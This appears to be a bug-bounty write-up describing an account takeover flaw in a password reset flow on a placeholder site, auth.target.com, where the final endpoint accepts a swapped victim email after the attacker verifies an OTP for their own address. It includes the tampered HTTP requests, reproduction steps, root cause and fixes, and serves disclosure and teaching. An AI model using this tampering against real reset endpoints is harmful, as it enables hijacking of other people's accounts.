July 19, 2026
Account Takeover via Broken Password Reset Validation
Severity: Critical Type: Authentication Bypass / Account Takeover (ATO) CWE: CWE-640: Weak Password Recovery Mechanism for Forgotten…
By Mohamed Abd almalek
2 min read
Severity: Critical Type: Authentication Bypass / Account Takeover (ATO) CWE: CWE-640: Weak Password Recovery Mechanism for Forgotten Password CVSS 3.1: ~9.1 (Critical)
Summary During a routine check of the password reset process on auth.target.com, I found a serious vulnerability. This flaw lets an attacker reset the password of any user account without needing the corresponding OTP (One-Time Password). The main issue is the missing authorization check on the password validation endpoint. It trusts a user-controlled email parameter without confirming ownership of the active password reset session.
Attack Flow Step 1: Initiate Password Reset for Attacker-Controlled Account The attacker starts a password reset request for an email they control (e.g., attacker@example.com). The application sends an OTP to this address.
POST /request-reset HTTP/2
Host: auth.target.com
Content-Type: application/json
{"email":"attacker@example.com"}POST /request-reset HTTP/2
Host: auth.target.com
Content-Type: application/json
{"email":"attacker@example.com"}Step 2: Complete OTP Verification The attacker retrieves the OTP from their inbox and submits it. The application moves the session to the "set new password" state.
POST /validate-otp HTTP/2
Host: auth.target.com
Content-Type: application/json
{"otp":"123456","email":"attacker@example.com"}POST /validate-otp HTTP/2
Host: auth.target.com
Content-Type: application/json
{"otp":"123456","email":"attacker@example.com"}Step 3: Intercept the Final Password Reset Request On the password change screen, the attacker enters a new password and intercepts the outgoing request using a proxy tool (e.g., Burp Suite). Original Request:
POST /validate-password HTTP/2
Host: auth.target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: application/json
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Referer: https://www.target.com/
Content-Type: application/json
Content-Length: 88
Origin: https://www.target.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Priority: u=0
Te: trailers
{"password":"newpassword","userData":{"email":"attacker@example.com"}}POST /validate-password HTTP/2
Host: auth.target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: application/json
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Referer: https://www.target.com/
Content-Type: application/json
Content-Length: 88
Origin: https://www.target.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Priority: u=0
Te: trailers
{"password":"newpassword","userData":{"email":"attacker@example.com"}}Step 4: Swap the Email to Victim's Address The attacker changes the email field in the JSON body to the victim's account (e.g., victim@example.com) and forwards the request. Modified Request:
POST /validate-password HTTP/2
Host: auth.target.com
Content-Type: application/json
{"password":"newpassword","userData":{"email":"victim@example.com"}}POST /validate-password HTTP/2
Host: auth.target.com
Content-Type: application/json
{"password":"newpassword","userData":{"email":"victim@example.com"}}Step 5: Account Compromised The server accepts the request and updates the victim's password. The attacker can now log in as the victim using the new password.
Root Cause Analysis The /validate-password endpoint updates the password based only on the email parameter in the request body. It does not check if the active password reset session (set up after OTP verification) is linked to the same email being modified. In a secure setup, the server should:
- Keep a server-side session or token after OTP verification.
- Bind that session to the specific email address that requested the reset.
- Reject any attempt to change a password for an email that does not match the authenticated reset session.
Impact Full Account Takeover (ATO): Any user account can be compromised without prior access or knowledge of the existing password. No Rate-Limiting Needed: Since the attacker starts the reset for their own email first, they bypass any OTP rate-limiting or brute-force protections aimed at the victim. Post-Compromise Risks: Access to sensitive data, financial information, or elevated privileges depending on the compromised account's role.
Reproduction Steps
- Go to the password reset page on https://www.target.com.
- Enter attacker@example.com and request an OTP.
- Retrieve the OTP from the attacker's inbox and submit it.
- On the "Enter new password" screen, type any password.
- Intercept the POST /validate-password request.
- Change "email":"attacker@example.com" to "email":"victim@example.com".
- Forward the request.
- Observe a 200 OK response confirming the password change.
- Log in as victim@example.com with the new password.
Key Takeaway Never trust client-side input for authorization decisions. A password reset process is only as strong as its last validation step. Even with a strong OTP mechanism, one missing authorization check on the final endpoint can compromise the entire process.
Thanks for reading. If you found this write-up useful, feel free to share it with the community. Stay curious, stay ethical.